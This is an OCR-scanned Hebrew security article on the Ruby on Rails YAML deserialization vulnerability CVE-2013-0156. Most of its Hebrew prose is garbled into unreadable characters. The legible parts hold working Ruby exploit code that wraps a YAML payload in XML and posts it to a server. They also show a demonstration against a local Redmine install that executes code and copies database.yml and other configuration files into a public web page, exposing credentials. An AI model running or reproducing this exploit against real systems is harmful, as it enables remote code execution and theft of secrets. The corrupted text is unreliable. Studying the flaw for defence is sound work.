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lox (hrr) '®nir nxN

ANTN

NIQ0 ,NIDY NINAIZID0 MNN AIPYY DY 120W 71T 2" NXINN 12X UINVI'RN NNX NIN'D D71V
nAI71002 NINN TN C'<IMG>" AN Oy 'OXVO LINVI'R TNK 0N 0N N9'N 121 NTIAY
NN DIY'™M 7'7N2 21wN VINYX7? NAWNI AN'A "<HR>" NN 0N2 D' DN N9'R 70MNKN NIN'D
Unnwn? N70'y D' DN N9'R 2UNNUnNNTIN 0T NN 77021 1Ty 1197 0'm'n 0N N9'R ?wunnwn

?7TNXR QX 2™7vn ' K7 T HTML nik7a0a

DV TN' Microsoft Access 7w DRIN1 TON DN D''N DN N9'R LT 1'¥2 VYN D'NTPNNA DX 17'9KXI
Dy PHP TNy 2121y7 2WOK N'n DNA D' DN N9'R L7702 IR ?RKAN DN N2TH ' ASP ntaiimoo
NNIVPVDIR ' D1 MVC2 AWNNNY? 220 V79 NI7IYS1 0IM1 NIM'R NU¥PAS ,SQL NN7'RY

N 1M 7Y 107,01 DO NIYTN

2172 70 NINNRN DY .7an0n"7 NYT7 1Y ,00NA MY 7D 101 .NAY 17X 0L, TIRNA VIYD TR
NN9Y7 IWA'Y D'MIdNNAN 2N ,0ID ,AYyn? .Ndim ATIAY NIA0al NNV YIin'ya DIy
N9 TNYY? '7DIN D'YNNYN DN N2 NTIAYA N0 DRN OTIR P72 NWTN N'01NVI'R NXP7'79X
/ D'9"Tyn DN NDYN AT'R DY WX DWTI' 11D ,NNXY NN2NNI D'P'ovAN Nt NI IX .Ndwnn

.NMYUNA "MONN NN WX D'ANIoN 701l TIAy? 0DNY

NINTPIAN '00-N NYNA NN9ND .NIVYD - TIXN VIYD ?0NX NIN'OA OIIN'I9A AUV PI'TA NN TR
TAXN7 'MX7X1 NIN'ON1 NTIAYN 17002 NNNKRE RO 7101 NIdAyN DY DNK VYN K7 NN1Y7 Y7 KRy
"W TIR 7Y ITN7 - [axyn D0l q10 *7a a91p71 22717 ,'wmni Y 901 1XYW D'WTN D'0NTIV0Y

.'Mand

D'Y71 N99ON NX DINYT 107NN D'INK 12N NN X L'7¢ MTIAYA MOYNNE MPNY IR DINX TX
NI DUNIYAYAN NRNPYNNR TNXR NI7XY " MINKRY 1D 70T NIX 1YY DN 2172 nnY% .Nn2ainy yp
'WIN NINTAY IT 2"TA X' NITXY NNIX 221 70K TII02X .NI7XY KIN D'NIDNN 7¥X NI 0ol

O"NR NN NNRYII'YOY YR TIAY? NIN'O
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NNWOXNN (NN TIZ 17'Va) O INMI91 NIdAYA 2' 7D YIX'? 1700 DTN MIwWyN 17002 ,n'n )l
NPT AIRT? 720 ,SQL DY ™ NIF PoyNn? 2an ,TIR 7V ITNY 720 V1NVI'R INX NNO9Y

101 XN ™OINNY - 2WN DNl (nnx nnx) NIXI9]1 NNVAX NI'VaN TN97 '7an ,NNNIM

E Serviet 2.3 ‘meswm ‘ JSF 1.0

Tomeat 3.0.x
(initial release)

1999 L IUUI 200 1003 2004 010 2011 2012

Y [

A
Play 1.0

Serviet 2.2
Becomes part ,r

of JSEE 1.2 e Sen.flet 24

KIDKCT:2) Closure Tools

IE 6.0
Opera 4.0

[Frameworks 7w nn1vo'n Mijna]

0'7'"1 ny"an NI

MW NNNIS XN .0INNA NNIYXRIN 2 AN ,Ruby N1dNN NSY 7y nooian WX ,07' [IXK AN
.NN'9 INYY XINY INK 'YX 0'NO9N 7700 (N2 AT DX 10IN 7K) 1020 1'RnIvRN T T "y 2004
NTIAYN NI2'A0N NNRD) NYNYN X' 01 NN ANTpNn TR NIMO9-TI7 1N20N2 NNNID Ndwnn
NIX D'NANN D'WIR NN LD 1D .0Y7'wD DNNX (1" yaan nun? Dy D71Y2 Nr NINIDIN

2NNV NNI7'WoI NNRITAN] D'MAINI NIm™Mon

o' 2amn 1an nnn (full-stack web framework) 750 nxya na n%7Dn nTIAY N20 NN 07
NIMo0o oy Tn' .(css, javascript, html) NIE7n T¥2 NAXNNE VOPLN NN TYI MY NI
2N [1an 7Y N1 X' L,07' 11y TN NinkNIMN ActionPack, ActiveSupport Ind nison nizani
07" NUXP'79X DMXI'YD NI NIXPY7OX NIN'DY7 DAY Y nlinnl DMONIS1 NINRLVp v

NLIYON NTIRON NIYXNXR]A

| rails new myapp
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N"P'NA 71 A7) NP 0YYAR 16 0DNXN 121 TR DNIY NAND X7 TV .0IPY nnn 7nan? nhiine
D'IINN DN 1D 770 X DN 1WA X7 17'ORW 7172 '1D'01 0'¥IN DI'X D'¥aPnN 770 DINX X .(1axn

N'T'NYN NDYNY 'MA0IR 0'0a

[ statsapp
| = FMDIERIER Q
Name 4| Date Modified Size Kind
v O app Feb 5,2013 1:04 PM -— Folder
» [:l assets Feb 5, 2013 1:04 PM == Folder
> [:l controllers Feb 5, 2013 1:.04 PM -= Folder
» [:l helpers Feb 5, 2013 1:04 PM - Folder
» [ mailers Feb 5, 2013 1:04 PM -- Folder
» [] models Feb 5,2013 1:04 PM -= Folder
> [:l views Feb 5, 2013 1:.04 PM - Folder
» [ config Feb 5,2013 1:04 PM -- Folder
] config.ru Feb 5, 2013 1:04 PM 158 bytes Docum
» @3 db Feb 5,2013 1:04 PM - Folder
> [:l doc Feb 5, 2013 1:.04 PM - Folder
| Gemfile Feb 5,2013 1:04 PM 760 bytes Docum
| Gemfile.lock Feb 5,2013 1:.05 PM 2 KB Docum
» @ lib Feb 5, 2013 1:04 PM -- Folder
» [ log Feb 5, 2013 1:04 PM - Folder
» [:] public Feb 5, 2013 1:04 PM == Folder
| Rakefile Feb 5, 2013 1:04 PM 273 bytes Docum
| README.rdoc Feb 5, 2013 1:04 PM 9KB Docum
» O script Feb 5,2013 1:04 PM - Folder
» [:l test Feb 5, 2013 1:04 PM == Folder
> [:l tmp Feb 5, 2013 1:.04 PM -= Folder
» [:l vendor Feb 5, 2013 1:04 PM - Folder

Web-n D71y2 N¥I]1 T NIVPZVDIR NAXYY? NYANA 07'W NIXTY [N NANIAN DI 11D
N7 2 NTI9N2 N7AIT MIVRLVIRN .MVC - (Model View Controller) nX1j TWXR ,NIN'ONI
wnnwn? NN NN 21 (W7N0pn) ndwwnn 72m Mivpnnl nivpan 12 ,(7Tmn) noaynn
2y TNN 7X) DRY Dy TN* TIZ NI7'Y' DN NNIVRODIRD YINM NINKA D'TINN DRYIN .A¥7N

:NDINN '9aX N72AN/NTION1 (XY

ax" /apps/models n*'n NN Book.rb yalp X"t .0raman Ton v 19mn 757 'RAnX - Model
7w 11x'7) ORM-N NIY¥NXA .(NNXY2 VO'VN NX NYIY 07'1) books NX1PIN DYININ TON2 N7V
books n72a0Va Book 227 on'nn%? N1 12 nunnwun n>wnnw (Object Relational-Mapping
727 OOP-N YIN'X .[INN TWOXRAI URIN DX NNID LIN¥Y 1191 11D ,NT 1'X'9 .IN¥Y 191 UP'"AIND

LTI NN ANMT AYOXNIENTO nWIY 01N 'ToN nIX72V

2NN 7w 2100 117V 2AIWNT AWOKR NN NYZORNY NIYRA 719'07 'RINKN 7700 - Controller
nwn L(7TIM) 0RIMIN ToN 7 DR MMYTR NWAITE NIRRT 79K NN v D

.'\'7nm|,7n NTNNAWY DI D'AMION NW-TN

CoffeeScript ,HAML ,SASS '¥aj7 NT DX |'2 NN DIN NAXN 7V IR DT 270 ,XIN D 1NWD - View

.javascript ,css ,html [120 "NI' DIWIM 17'9KX IR
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ni'‘yan

IANXNN D'NX DAY AXRN0A ,(n'n"mm) 2NT '9T Q00 11D D™71TA DX .N9'1 A1V NNAKRA DN TN

N YIN'YUN DX IXND'RIEIIN™MO] W'Y NiNNal nl"?N]I'XF]IDJ

7w0Y% IV RIN 121 ,Rubyonrails-Security NXIAPa LOI9 DOND L[IOTV'D [NRX ,MYN XN 82
MININY ,NNVAXN 7w .xml '¥ap 7w noaixkn X7 (Parse) NN 27y 0P TWUX NDIYNY NNLAX
AWONN DYV NDYNY? (XINY 210 7o1) 21¥'N TIP NPATh AWONRA ,'N'09"RI9ND n'7'npa nnTain
'Unn? )X X7 .NOPNIN NDWNN W DN Dyl 0790 D1 W yTh N9YY N0 nawn

JI9'PNY NIDIYNN NINNISYYTO7 DIANYT 7170W "IN'YIVI9N PTIN NNIN X 207 1D 0197

170n2l ,0WAN "INKR NIM09) YIX? 1700 NIWRIN D220 DNIYRN D'9010 DYWL NIYPN L'19XD
2V D'002NN 'T D'AXAN DX .0'D01 NNVIX YWD NYITY 17aN0 ,NIYN IRINADI IR D'YUTINN
NNI2A DTAMN [12'0n NNl DNNIN X YAML DOR0 7w N'MNVANR-'177 NIN'DA N'D'YO0 N'WA NNIN

AN
AXI7ITIN DX D' TAN

NIYRIN 7WON PN Live 217%7 Awor ,07' N NTMI1uoNa 7pn MIv'enl DN20NN 7D MINR TN
-NT VIXQI NN 7V 12yn AWOKRN 07'2 y¥xannn XML-n nima . XML7Y nuaikn X7 NN yan
-7 TmpEn vixa oy .YAML a1on 0'019'07 D2 X ('1D1 NITINNN) 0'NDY D'019'07 D'DY7 NXTYIRM0

TIR NI9'PNY DOIWN ANRN/NNRY7OXRN P71 XKINW NINd Y1 'non Tipn ,YAML

NTIAY N20d NTP9NNN ,n"N900n .ActionPack "y 0712 ni7nnn HTTP-n NIN7'RU/MIvpa 7D
[122) DTN 1172 T N2y MVC-n MNIVRUDIR WINMY D"0'01 D'UMMYZX NdINA N7'DN ,NNXY 1921
wTIn (Action Dispatch) n™o0nn 121 77n-nn (121 [n2'n'7 0'2ma ,View '¥ap N2 AN winn
naloni NNWOSN ,NYizan NX NV7IR 7"10 NN90N .n¥pn wnnwnn HTTP-n NIWpa NN TIAYY?
MIX2 12107 DRNNA XaN "719'0"7 NIk NN7IY1E (MIME TYPE) n%7'Dn X' INIR DINN 019'0 DX
[7N2 N'!M7Ivn Nd>'ANN L7735 LJSON-1 XML I 0oV 2102 XY |2 NdNIN NdINAN ,NA'07I9'T
NIN DNKRD NI7IYVON 770D [7N WIN'Un X NN'DW DINX X'N HTTP Nz 0Riml vn1ind XML

.N7PNN 170NN "N P71,

NM90-NN 'T-7V Y¥INN 0ININ TIA'Y . TI'W7 a1y XML-n pIim  XML-D nwpan 21N Ao WINK7 X

N'0'02N Ruby NoWY 0''wa0oPRI NTY a1 'on NdINA n7'n NMvon .ActiveSupport nnwi Nooi
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https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0156
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VoL NNINN Ruby 21 ,XmIMini X N7 >N N7'aNn )2 7Y Qo .07'2a "MAvYI'R @7n ninnl

1N XML

D2IM) 12Nl 0'019'0 1107 XML-2 N1an-'xy NN 7¢ QXTI8N0-NT2 JnIN AT 21 1IN
AWKRD 0 7 X2 win'win .(Hash Tables) 21a'a nix7a01 0'o1yn ,0m%w  NITINNNA :[12) D"01TIVO

XML-n yya 12D 1 TaIm DOoID'0I DAIO YUK NIFAN 7w n'XML nn'wn nwe

,N"T .YAML 112> D"2X11M0 NIND N¥jP 02102 NN NIY' ,0M1D21MN D'0I9'UN A102 NDX'MNN DY TN

:YAML 2a10n 019'03 XML n'an 1'1an? N1

<xml>

<Library>

<book type="yaml">Book Title </book>
</Library>

?0'wan ani ?2YAML pirTa at an

Yet Another nNaya IN YAML Aint Markup Language :nifa'olizan niafn 'wx1 ,YAML nov
12N NAXNT7 TYIM VNMIIBN WK |27 XMPI VIYD IRIVOPL LIS NIINN NN Markup Language
naNE oMYl (NKN DANDY 11D UnNn ,N'Y0IT'RD NIAXIND NIA'OX'YION OY) D'VIYD DRIN)
NI 7"10 VNP2 YNNWNN NI NDWA YaIzn L,07' 12 .AXIIAIRI NMNTAN '¥A7 NIoNYT7 wnwn

:DIMIN Ton v Nn'X1IA'91pZN yaly

#railsapp/config/database.yml
development:

adapter: postgresqgl
encoding: unicode

database: test db

QM2 N'V7I9'T 0DNAMN DD L[VP K7 M"Y YIN'R NAIN2 NINI0 X D771 NN DINK NOWN
DINTIRN01 DTYIRMO0-NT W )'70N DA DNWONN L,yaml aion yT nima 0'790nn (Psych (120)
.ANMID0T792 DN NIP7NN 10N D'UPMAIK? DNIXK 1NN D2ININ 7Y ARNP y¥an )'7nnn

1077730 YAz 9"yI 1'0 K77 N'wyl nNnnn

!'ruby/object:Book
tite: The Tangled Web
pages: 300

10IX9N) Psych-w N1 nmp' Dxvaw nn YAML.Joad n"xpao ™y 9"3n nrnnnn DX K7 DR
NINY 190" 210N VPR NI'NYT Y70 AT ,AXR" T2 NIYRIN MWD 7V 7oN0! (YAML 7w 1aro719vTn

:".pages-I title D'>IVN NX 1'TAN DA "IN ,[ND 12D "IN ONI NN "2 Object 7w np'7nn-nn

[2] pry(main)> require 'yaml'
=> true
[3] pry(main)> class Book
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[3] pry(main)* def title

[3] pry(main)* end

[3] pry(main)* def pages

[3] pry(main)* end

[3] pry(main)* end

[4] pry(main)> yaml code = "!ruby/object:Book\n tite: The Tangled Web\n
pages: 300"

=> "!ruby/object:Book\n tite: The Tangled Web\n pages: 300"
[5] pry(main)> YAML.load(yaml code)
=> #<Book:0x007£89fd828370 @pages=300, Q@tite="The Tangled Web">

?Mwn AT ANt LN

DIN] 7¥ D10 "1'M 75 DY NTIAWYT Yan nTwd 7w TIRA DAY 70 xrorno(nT)n NN Lo X
[122100 ,NINT DY .ARMP7 D'WU71 0'DA1I0N DYS X7 DAY D'OR™MIX 7Y NVIYSOI NN NAXD TWONNI
NXPN UNNYN? DNYOKXN D'I0N MNKXA NN LRT .NVAIRA K71 2'TA TIR DY DITTIMNNY OXNIM 111'R
,SQLI yxa?1 177 TR 7Inw DA 17 DwWOKRN DN ,(rubygems.org ‘7wn'?) YAML yalp nitvni nitwh

.Ruby TIj7 Nt yvna DA nn'y ny'an

N9y NIN Ruby NIdNN NOW .nnxy Ruby X' Nmn N7 NNIK 191N NN xR NN 2'va PR
7w opmaIx NN "n7a 7" vopuvn N YUY LOPEMAIR 1IN N9WA AT 7D L'uITNY NMNKT
N'D ,NNMIoON NTINN 7WUn7 ANdWN AWK T TIRP NPOTH YXIAN DX ,NONIR NRT String :n7nnn

'017n7 NNIR NN NIMY N710'Y 11001 DN NNNA NDYANENKD N'MYNA YIaoh N7aion

NINX'YNA |[NAN

NINJINNN NNX .DN2ITAN NNVANRND Y7 71¥17 D'0M790pKI (NN NINdINY) PoC NN 12N0)
N'70 NYD YN . TV 102 DA™Y D'0INYRD 7D K NDINA n'7'Dn X'l postmodern ™y Nand)

110XV NO'PNN NN VXA N0 [N INKYT TN ANDW TIRN 7W Ny

nx ("D NIYEN D) TIiEnn 0¥INd X7 07N )INN7 ,TM'0 DNon? ,myy? menn - 'nmv 197
(am> Ruby mooian) Ronin NNI%V791 1TY1 XN LD IND RNV NIKN7 NI XM TIpn

TN N T "> Na'mda nyronn

def exploit (url,payload,target=:rails3)
escaped payload = escape payload(wrap payload(payload), target)
encoded payload = escaped payload.to yaml.sub('--- ','").chomp
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https://gist.github.com/postmodern
http://ronin-ruby.github.com/
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07'N NOMA NX V' TA' QPINN .PATINN TIiZn MNXNNA poynn exploit NnTIMNA IWXIN 770N
Q7NN T 7"30 NITNAN NIY¥Nx .0XNNA TI 17 yxan noayvnnl (3" nDwn nnpnl) nopnin

NDIYNN NoNA7I YAML MIXN? o'RkNnn TI7 nnin 11y

yaml = $%{
'ruby/hash:ActionController: :Routing: :RouteSet: :NamedRouteCollection ?
#{encoded payload}: !ruby/struct.. \n :controller: foos

\nsegment keys:\n - :format }.strip

.0OPLN PINT NNTYIRNI0I NMYORNN NYW7INN 71¥1 y¥annl Tmn yaml-n 2N 2Tam 7" T

:NP7NNN DX ¥ DT Npzna 9Inn

‘ActionController:::Routing::RouteSet::NamedRouteCollection

MYn Mm eval-a Ny win'wn Niv¥nNa 0rion payload N¥In% NNWON n7'Dnd ANy WX

:NP7NN VPMAIRY

xml = %{ <?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">#{yaml.html escape}</exploit> }.strip

1'07TAVO XML N1an N7 yaml-2 7ATinn payload-n X 12Nl NWd

return http post(

url => url,
:headers => {
:content type => 'text/xml',

:x_http method override => 'get'
s
:body => xml
)

end

NYpAN 210 X 11NTAN LD 11D XML-3 N1dIN DX Tanl HTTP-n Nwpa n1an N 270 7" Tign
N N9'PNN DX Y¥a? N D DOoNI9 N'NNY |"X7 awn .GET-) (X-HTTP-Method-Override)
N'Y' WWONRNN TIvY URL 2'M17 no'pnn DX D'RNNYT 1'7V 0'0 221 POST/PUT NIwpa NIYYNKA

.(un%7 wi9'n NTY D) I YA

NYpAD Rails NOwa wisnny POST NNY7W TWONRNN qpyn Y¥Ian 7"1n 1UN15n NIYYINKA NNT DY

((XML-n) nwpan pIm 7y mwn X GET

url = ARGV[O0]
payload = ARGV[1]
target = ARGV.fetch(2,:rails3).to _sym

print info "POSTing #{payload} to #{url} ..."
response = exploit (url,payload, target)

end
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INNXY JI'0"]

NN DATN? 'MU7NN ,07A07 D7D PTIN NNXIY DX NIKINYZ T2 .1N0XYVA N¥190 DX PIT2) DD

.Redmine NnwI D'ORP'ND 7IN1%7 NDWYN KN NUXPZHIORN NI TIRN web NUxP™7OXR 7Y n¥1on

N9IYN NN NOWNN .qUIY [9IXA NIDTYNA TNAI NIN9-TI7a '06-2 NMIWKIY? Npwin Ndwnn

.NNIVID NYTAM ANY NY71 DIIDTY 'oN IRX' TXA X |NNKRN V'17907KY7

2V D' .0YNN DR Magnn L(NNARN TY 72 197) 2.0 N0NA DX ARNLAN 'MTIINY NN TX

NNPOKRN DR YN WEBrick e nipT nnd i (012" 1an) nnTana 0ty nnd yxas

219X TAY

8 006

0 rails
[2013-02-16 13:55:04] INFO

[2013-02-16 13:55:04] INFO
[2013-02-16 13:55:04] INFO

rails s — ruby —

-.op/rails—hack

WEBrick 1.3.1
ruby 1,9.3 (2012-84-20) [x86_64-darwinil.2.@]
WEBrick: :HTTPServer#start: pid=3858 port=3000

-N DX vyn MR "NMoPA" VPO

Ny UTn InYn 02'yNnN 115 DX gty

mX' '7W AWTNN D'ORTN9N NDIWNY 'MOo1d1l 'MnwM
,DATNY T2 AT DX NIWY? 1Y 'Mv'n X7 DINX .database

(: 787 ,MIX 1727 20D

[-NeN:]

¢™ Settings - This is a new project ...

L+

Settings - This is a new project - Redmine

|

-_——
4 ) > Elﬂ | localhost:3000/ projects /dw-new-article /settings

Home My page Projects Administration Help

This is a new project

Overview Activity Issues Newissue Gantt Calendar

«" Successful creation.
Settings

Infoermation

Subproject of |

Name * This is a new project

Description Bllzllulls|c

Y s | (B3~ Google
3 Bookmarks - 7| [y ] (3] 42 M [

News Documents Wiki Files 17T

HI H2 H

= = e g =

Y T

Identifier * dw-new-article
Homepage

Public &

Save

T have a project to write a new DW article!
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postmodern ANOW (NIDN'N NNDJIN) VO9ZON NX N1 .0'1'IV7 NWA7 TWOK ,DIPNA '7DnWd 1'YdY
NO9TN VIYD NIN PTK X INIX TIZN ,D'TAN7 X7 'O2 .'Mnpny Ndwnn 7m AR yin'? noii

:N"Ion VOV NTNNN 7w DY 100

user:~/Desktop/rails-hack$% ruby rce.rb http://localhost:3000/search
"100.times { puts 'I was told to write a minimum of 1,400-words
article.'} "

[-] POSTing 100.times { puts 'TI was told to write a minimum of 1,400-
words article.'} to http://localhost:3000/search

[-] Success!

MWD 7w a7 7DN02 NN NTY R

was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write
was told to write

minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.
minimum of 1,400-words article.

HHHHHHHHHHHH H H H —
QoYY YYD

Started GET "/search" for 127.0.0.1 at 2013-02-16 16:34:34 +0200
Processing by SearchController#index as */*

Parameters:

{"exploit"=>#<ActionDispatch::Routing::RouteSet: :NamedRouteCollection:0x
007fb5ed270268 Q@routes={:"foo\n(100.times { puts 'I was told to write a
minimum of 1,400-words article.'} ; (@executed = true) unless
@executed\n END \n"=>#<struct defaults={:action=>"create",
:controller=>"foos"}, required parts=[],
requirements={:action=>"create", :controller=>"foos"},

segment keys=[:format]>}, @helpers=[:"hash for foo\n(100.times { puts 'I
was told to write a minimum of 1,400-words article.'} ; (Qexecuted =
true) unless @executed\n END \n url", :"foo\n(1l00.times { puts 'I was
told to write a minimum of 1,400-words article.'} ; @executed = true)
unless @executed\n END \n url", :"hash for foo\n(100.times { puts 'I
was told to write a minimum of 1,400-words article.'} ; (Qexecuted =
true) unless @executed\n END \n path", :"foo\n(100.times { puts 'I was
told to write a minimum of 1,400-words article.'} ; @executed = true)
unless @executed\n_END \n path"], @module=#<Module:0x007fb5ed278198>>

TP NPT PR TR WD 2V K70 ¥y L YAML-Nn 2700 2mdn Tign ,Nna NIk Ny oo

.20 7Y MNATR NI2N] AWNNNA TNI'N .WUXA7 TWORY (NI NYrn Nd5pynnn 0v7NnNa XN Ruby
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[-] POSTing File.open('public/sensitive information.html', 'w+') do |[f]
f.write (File.open('config/database.yml', 'r').read)

f.write (File.open('config/routes.rb', 'r').read)

f.write (File.open('config/settings.yml', 'r').read)

end to http://localhost:3000/

[-] Success!

Yalj? ,(database.yml) Diman Ton NOTaN '¥ap 7700 NWNN Wy 9Iox7? NDINN XN TIEn
D'O0N1 D'¥ApPN 77D .Redmine Nd>ynNa D''pn TIVY NNTAN YAl L|2 1121 DONISNAN routes.rb-n
n'RwN” DN X7 X'NY DO'WA NQITA DIAXK NN DY ORIMNE NNYWA XY WUTN yalp Iine

.NNUIANRN 1IN NIRIMLN NITNWOKRN NIX D7 NYW'NNN D X' XL (Noyvnn [1w71) "nrojzol

NAUNDN T AWNN 721 19X NWAT [N ,07' W NNIAYD DY XD YALRD INRD

http://thewebsite.com/sensitive data.html

)2 AKX XN TIMYn 1Y) RIT2AN]

800 Mozilla Firefox
&% http:/ /localhost...sitive_data.html u + L

-i- [ | localhost:3000/sensitive_data.html 4 c l 'ﬁ_'ET
[E3 Bookmarks ~ i

database. . yml\n# Default setup is given for MySQL with ruby1.8. If you're running Redmine # wi
replace the adapter name with “mysql2”. # Examples for PostgreSQL and SQLite3 can be found ¢
adapter: mysgl # database: redmine # host: localhost # username: root # password: # encoding: uj
postgresql database: redmine_development host: localhost username: root-rm password: encodin|
database defined as "test" will be erased and # re-generated from your development database wh
set this db to the same as development or production. # test: # adapter: mysql # database: redminy
username: root # password: # encoding: utf8 # test_pgsql: # adapter: postgresql # database: redm
username: postgres # password: "postgres" # test_sqlite3: # adapter: sqlite3 # database: db/test.sg
Redmine - project management software # Copyright (C) 2006-2012 Jean-Philippe Lang # # Thi:
you can redistribute it and/or # modify it under the terms of the GNU General Public License # a
Software Foundation; either version 2 # of the License, or (at your option) any later version. # # |
in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Genera|
details. # # You should have received a copy of the GNU General Public License # along with thi
the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, T
Redmine App::Application.routes.draw do root :to => 'welcome#index', :as => 'home' match 'logi
:as => 'signin’ match 'logout', :to => 'account#logout', :as => 'signout' match 'account/register', :tg
=> [:get, :post] match 'account/lost_password', :to => 'account#lost_password', :via => [:get, :pos
:to => "account#activate', :via => :get match /news/preview’, :controller => 'previews', :action =>|
'preview_news' match '/issues/preview/new/:project_id', :to => 'previews#issue', :as => 'preview |
/preview/edit/:id', :to => 'previews#issue', :as => 'preview_edit_issue' match fissues/preview', :to
=>'preview_issue' match 'projects/:id/wiki', :to => 'wikis#edit', :via => :post match 'projects/:id/|
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https://github.com/dtao/safe_yaml
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7annn 7y

NNLAX 7V WATA VTN NNVAN 22N .web N2101 p'wa NNonl NNA LJIOKR (hrr) XA

ANKRN 752 2N mMwn 9XVIRVOL TAIY NIYP79X

http://hrr.io

no01 NPT

e https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ

e https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-

mischief-in-ruby-land-cve-2013-0156?x=1

e http://tenderlovemaking.com/20130206/yaml-f7ul2.html

e http://rubyonrails.org

e http://www.ruby-lang.org/en/

e http://ronin-ruby.github.com
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